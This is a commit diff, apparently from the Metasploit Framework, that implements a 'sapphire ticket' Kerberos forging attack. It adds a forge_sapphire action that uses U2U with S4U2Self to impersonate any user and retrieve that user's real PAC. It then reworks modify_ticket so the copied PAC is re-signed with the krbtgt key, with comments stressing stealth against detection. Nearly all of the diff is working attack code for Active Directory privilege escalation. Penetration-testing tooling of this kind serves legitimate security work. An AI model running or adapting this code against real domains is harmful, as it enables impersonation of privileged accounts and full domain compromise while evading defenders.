Implement sapphire tickets
This commit is contained in:
parent
bdb13601ae
commit
4e6a29d0fb
|
@ -57,6 +57,7 @@ module Msf
|
|||
checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5
|
||||
ticket_checksum = opts[:ticket_checksum] || nil
|
||||
is_golden = opts.fetch(:is_golden) { true }
|
||||
base_vi = opts.fetch(:base_verification_info) { Rex::Proto::Kerberos::Pac::Krb5ValidationInfo.new }
|
||||
|
||||
validation_info = Rex::Proto::Kerberos::Pac::Krb5ValidationInfo.new(
|
||||
logon_time: auth_time,
|
||||
|
@ -65,12 +66,19 @@ module Msf
|
|||
primary_group_id: primary_group_id,
|
||||
logon_domain_name: domain_name,
|
||||
logon_domain_id: domain_id,
|
||||
full_name: '',
|
||||
logon_script: '',
|
||||
profile_path: '',
|
||||
home_directory: '',
|
||||
home_directory_drive: '',
|
||||
logon_server: ''
|
||||
full_name: base_vi.full_name,
|
||||
logon_script: base_vi.logon_script,
|
||||
profile_path: base_vi.profile_path,
|
||||
home_directory: base_vi.home_directory,
|
||||
home_directory_drive: base_vi.home_directory_drive,
|
||||
logon_server: base_vi.logon_server,
|
||||
logon_count: base_vi.logon_count,
|
||||
bad_password_count: base_vi.bad_password_count,
|
||||
user_account_control: base_vi.user_account_control,
|
||||
sub_auth_status: base_vi.sub_auth_status,
|
||||
last_successful_i_logon: base_vi.last_successful_i_logon,
|
||||
last_failed_i_logon: base_vi.last_failed_i_logon,
|
||||
failed_i_logon_count: base_vi.failed_i_logon_count
|
||||
)
|
||||
validation_info.group_ids = group_ids
|
||||
if extra_sids && extra_sids.length > 0
|
||||
|
|
|
@ -482,6 +482,8 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
|
|||
|
||||
# Request a service ticket to a user on behalf of themselves
|
||||
# This is mostly useful for PKINIT to recover the NT hash
|
||||
# Can combine this with S4U2Self by providing an :impersonate option
|
||||
# to retrieve a PAC for any account, i.e. Sapphire Ticket attack
|
||||
#
|
||||
# @see https://learn.microsoft.com/en-us/archive/blogs/openspecification/how-kerberos-user-to-user-authentication-works
|
||||
#
|
||||
|
@ -519,6 +521,16 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
|
|||
additional_tickets: [ticket]
|
||||
}
|
||||
|
||||
if options[:impersonate]
|
||||
tgs_options[:pa_data] = build_pa_for_user(
|
||||
{
|
||||
username: options[:impersonate],
|
||||
session_key: session_key,
|
||||
realm: self.realm
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
request_service_ticket(
|
||||
session_key,
|
||||
ticket,
|
||||
|
@ -567,6 +579,8 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
|
|||
self.offered_etypes || Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes
|
||||
end
|
||||
|
||||
stop_if_preauth_not_required = options.fetch(:stop_if_preauth_not_required) { true }
|
||||
|
||||
tgt_result = send_request_tgt(
|
||||
server_name: server_name,
|
||||
client_name: client_name,
|
||||
|
@ -574,7 +588,8 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
|
|||
key: key,
|
||||
realm: realm,
|
||||
options: ticket_options,
|
||||
offered_etypes: offered_etypes
|
||||
offered_etypes: offered_etypes,
|
||||
stop_if_preauth_not_required: stop_if_preauth_not_required
|
||||
)
|
||||
end
|
||||
|
||||
|
|
|
@ -87,16 +87,20 @@ module Msf
|
|||
#
|
||||
# Take an existing ticket and change its PAC to have the provided user value
|
||||
# (Used for diamond ticket functionality)
|
||||
# @param as_rep [TgtResponse] The TGT containing the ASREP to modify
|
||||
# @param ticket [Ticket] The ticket to modify
|
||||
# @param enc_kdc_response [EncKdcResponse] The decrypted KDC response containing contextual information
|
||||
# @param new_user [String] The username to apply to the ticket
|
||||
# @param new_user_rid [Integer] The user RID to apply to the ticket
|
||||
# @param domain [String] The domain of the user
|
||||
# @param extra_sids [List<String>] Extra SIDs to include in the ticket
|
||||
# @param enc_type [Integer] The encryption type of the ticket
|
||||
# @param enc_key [String] The encryption key of the ticket (usually krbtgt)
|
||||
# @param ticket_decryption_key [String] The encryption key of the existing ticket (krbtgt or a session key)
|
||||
# @param ticket_encryption_type [Integer] The encryption type of the resulting ticket
|
||||
# @param ticket_encryption_key [String] The encryption key for the resulting ticket (usually krbtgt)
|
||||
# @param copy_entire_pac [Boolean] Whether to copy all values (extra stealth, as long as the values are accurate i.e. sapphire ticket), or just the important ones
|
||||
#
|
||||
def modify_ticket(tgt, new_user, new_user_rid, extra_sids, enc_type, enc_key)
|
||||
ticket_enc_part = tgt.as_rep.ticket.enc_part
|
||||
decrypted_ticket_part = ticket_enc_part.decrypt_asn1(enc_key, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)
|
||||
def modify_ticket(ticket, enc_kdc_response, new_user, new_user_rid, domain, extra_sids, ticket_decryption_key, ticket_encryption_type, ticket_encryption_key, copy_entire_pac)
|
||||
ticket_enc_part = ticket.enc_part
|
||||
decrypted_ticket_part = ticket_enc_part.decrypt_asn1(ticket_decryption_key, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)
|
||||
decoded_ticket_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(decrypted_ticket_part)
|
||||
auth_data_val = decoded_ticket_part.authorization_data.elements.select { |element| element[:type] == Rex::Proto::Kerberos::Model::AuthorizationDataType::AD_IF_RELEVANT}
|
||||
if auth_data_val.length != 1
|
||||
|
@ -110,22 +114,24 @@ module Msf
|
|||
raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new("#{elements.length} PAC elements found (expected 1)")
|
||||
end
|
||||
|
||||
realm = tgt.as_rep.crealm
|
||||
checksum_type = get_checksum_type(enc_type)
|
||||
realm = domain
|
||||
checksum_type = get_checksum_type(ticket_encryption_type)
|
||||
existing_pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(elements[0][:data])
|
||||
cname_principal = create_principal(new_user)
|
||||
|
||||
sname_principal = create_principal(['krbtgt',domain.upcase])
|
||||
opts = {
|
||||
client: cname_principal,
|
||||
server: tgt.as_rep.ticket.sname,
|
||||
auth_time: tgt.decrypted_part.auth_time,
|
||||
start_time: tgt.decrypted_part.start_time,
|
||||
end_time: tgt.decrypted_part.end_time,
|
||||
renew_till: tgt.decrypted_part.renew_till,
|
||||
server: sname_principal,
|
||||
auth_time: enc_kdc_response.auth_time,
|
||||
start_time: enc_kdc_response.start_time,
|
||||
end_time: enc_kdc_response.end_time,
|
||||
renew_till: enc_kdc_response.renew_till,
|
||||
realm: realm.upcase,
|
||||
key_value: enc_key,
|
||||
checksum_enc_key: enc_key,
|
||||
session_key: tgt.decrypted_part.key.value,
|
||||
enc_type: tgt.decrypted_part.key.type,
|
||||
key_value: ticket_encryption_key,
|
||||
checksum_enc_key: ticket_encryption_key,
|
||||
session_key: enc_kdc_response.key.value,
|
||||
enc_type: enc_kdc_response.key.type,
|
||||
user_id: new_user_rid,
|
||||
group_ids: GROUP_IDS,
|
||||
checksum_type: checksum_type,
|
||||
|
@ -133,34 +139,7 @@ module Msf
|
|||
extra_sids: extra_sids,
|
||||
flags: Rex::Proto::Kerberos::Model::TicketFlags.from_flags(golden_ticket_flags),
|
||||
create_ticket_checksum: false,
|
||||
is_golden: true
|
||||
}
|
||||
|
||||
|
||||
####
|
||||
start_time = Time.now.utc
|
||||
end_time = start_time + 400000
|
||||
|
||||
opts = {
|
||||
client: cname_principal,
|
||||
server: tgt.as_rep.ticket.sname,
|
||||
auth_time: tgt.decrypted_part.auth_time,
|
||||
start_time: tgt.decrypted_part.start_time,
|
||||
end_time: tgt.decrypted_part.end_time,
|
||||
renew_till: tgt.decrypted_part.renew_till,
|
||||
realm: realm.upcase,
|
||||
key_value: enc_key,
|
||||
checksum_enc_key: enc_key,
|
||||
session_key: tgt.decrypted_part.key.value,
|
||||
enc_type: enc_type,
|
||||
user_id: new_user_rid,
|
||||
group_ids: GROUP_IDS,
|
||||
checksum_type: checksum_type,
|
||||
client_name: new_user,
|
||||
extra_sids: extra_sids,
|
||||
flags: Rex::Proto::Kerberos::Model::TicketFlags.from_flags(golden_ticket_flags),
|
||||
create_ticket_checksum: false,
|
||||
is_golden: true
|
||||
is_golden: true,
|
||||
}
|
||||
####
|
||||
|
||||
|
@ -171,6 +150,9 @@ module Msf
|
|||
when Rex::Proto::Kerberos::Pac::Krb5PacElementType::LOGON_INFORMATION
|
||||
opts[:group_id] = element.data.primary_group_id.value
|
||||
opts[:domain_id] = element.data.logon_domain_id
|
||||
if copy_entire_pac
|
||||
opts[:base_verification_info] = element.data
|
||||
end
|
||||
when Rex::Proto::Kerberos::Pac::Krb5PacElementType::TICKET_CHECKSUM
|
||||
# We want to be stealthy and match whatever the KDC is doing, so we should do it too
|
||||
opts[:create_ticket_checksum] = true
|
||||
|
|
|
@ -50,8 +50,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USER', [ true, 'The Domain User' ]),
|
||||
OptInt.new('USER_RID', [ true, "The Domain User's relative identifier(RID)", Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID]),
|
||||
OptString.new('USER', [ true, 'The Domain User to forge the ticket for' ]),
|
||||
OptInt.new('USER_RID', [ true, "The Domain User's relative identifier (RID)", Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID], conditions: ['ACTION', 'in', %w[FORGE_SILVER FORGE_GOLDEN FORGE_DIAMOND]]),
|
||||
OptString.new('NTHASH', [ false, 'The krbtgt/service nthash' ]),
|
||||
OptString.new('AES_KEY', [ false, 'The krbtgt/service AES key' ]),
|
||||
OptString.new('DOMAIN', [ true, 'The Domain (upper case) Ex: DEMO.LOCAL' ]),
|
||||
|
@ -64,7 +64,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
OptString.new('REQUEST_PASSWORD', [false, "The user's password, used to retrieve a base ticket"], conditions: based_on_real_ticket_condition),
|
||||
OptAddress.new('RHOSTS', [false, 'The address of the KDC' ], conditions: based_on_real_ticket_condition),
|
||||
OptInt.new('RPORT', [false, "The KDC server's port", 88 ], conditions: based_on_real_ticket_condition),
|
||||
OptInt.new('Timeout', [false, 'The TCP timeout to establish Kerberos connection and read data', 10], conditions: based_on_real_ticket_condition)
|
||||
OptInt.new('Timeout', [false, 'The TCP timeout to establish Kerberos connection and read data', 10], conditions: based_on_real_ticket_condition),
|
||||
]
|
||||
)
|
||||
|
||||
|
@ -144,26 +144,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def forge_diamond
|
||||
validate_key!
|
||||
domain = datastore['DOMAIN'].upcase
|
||||
|
||||
enc_key, enc_type = get_enc_key_and_type
|
||||
if enc_type == Rex::Proto::Kerberos::Crypto::Encryption::AES256
|
||||
# This should be the server's preferred encryption type, so we can just
|
||||
# send our default types, expecting that to be selected. More stealthy this way.
|
||||
offered_etypes = Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes
|
||||
else
|
||||
offered_etypes = [enc_type]
|
||||
end
|
||||
|
||||
begin
|
||||
res = send_request_tgt(
|
||||
server_name: "krbtgt/#{domain}",
|
||||
client_name: datastore['REQUEST_USER'],
|
||||
password: datastore['REQUEST_PASSWORD'],
|
||||
realm: domain,
|
||||
offered_etypes: offered_etypes,
|
||||
options = {
|
||||
stop_if_preauth_not_required: false
|
||||
)
|
||||
}
|
||||
include_crypto_params(options)
|
||||
|
||||
res = kerberos_authenticator.request_tgt_only(options)
|
||||
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
|
||||
print_error("Requesting TGT failed: #{e.message}")
|
||||
return
|
||||
|
@ -174,7 +162,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
|
||||
ticket = modify_ticket(res, datastore['USER'], datastore['USER_RID'], extra_sids, enc_type, enc_key)
|
||||
ticket = modify_ticket(res.as_rep.ticket, res.decrypted_part, datastore['USER'], datastore['USER_RID'], datastore['DOMAIN'], extra_sids, enc_key, enc_type, enc_key, false)
|
||||
ticket = Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST'])
|
||||
|
||||
if datastore['VERBOSE']
|
||||
|
@ -182,6 +170,59 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def forge_sapphire
|
||||
options = {
|
||||
stop_if_preauth_not_required: false
|
||||
}
|
||||
include_crypto_params(options)
|
||||
|
||||
auth_context = kerberos_authenticator.authenticate_via_kdc(options)
|
||||
credential = auth_context[:credential]
|
||||
|
||||
print_status("#{peer} - Using U2U to impersonate #{datastore['USER']}@#{datastore['DOMAIN']}")
|
||||
|
||||
session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
|
||||
type: credential.keyblock.enctype.value,
|
||||
value: credential.keyblock.data.value
|
||||
)
|
||||
|
||||
enc_key, enc_type = get_enc_key_and_type
|
||||
tgs_ticket, tgs_auth = kerberos_authenticator.u2uself(credential, impersonate: datastore['USER'])
|
||||
ticket = modify_ticket(tgs_ticket, tgs_auth, datastore['USER'], datastore['USER_RID'], datastore['DOMAIN'], extra_sids, session_key.value, enc_type, enc_key, true)
|
||||
ticket = Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: datastore['RHOST'])
|
||||
|
||||
if datastore['VERBOSE']
|
||||
print_ccache_contents(ticket, key: enc_key)
|
||||
end
|
||||
end
|
||||
|
||||
def kerberos_authenticator
|
||||
options = {
|
||||
host: datastore['RHOST'],
|
||||
realm: datastore['DOMAIN'],
|
||||
timeout: datastore['TIMEOUT'],
|
||||
username: datastore['REQUEST_USER'],
|
||||
password: datastore['REQUEST_PASSWORD'],
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::None.new
|
||||
}
|
||||
|
||||
Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)
|
||||
end
|
||||
|
||||
def include_crypto_params(options)
|
||||
key, enc_type = get_enc_key_and_type
|
||||
options[:key] = key
|
||||
if enc_type == Rex::Proto::Kerberos::Crypto::Encryption::AES256
|
||||
# This should be the server's preferred encryption type, so we can just
|
||||
# send our default types, expecting that to be selected. More stealthy this way.
|
||||
options[:offered_etypes] = Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes
|
||||
else
|
||||
options[:offered_etypes] = [enc_type]
|
||||
end
|
||||
end
|
||||
|
||||
def get_enc_key_and_type
|
||||
enc_type = nil
|
||||
key = nil
|
||||
|
|
Loading…
Reference in New Issue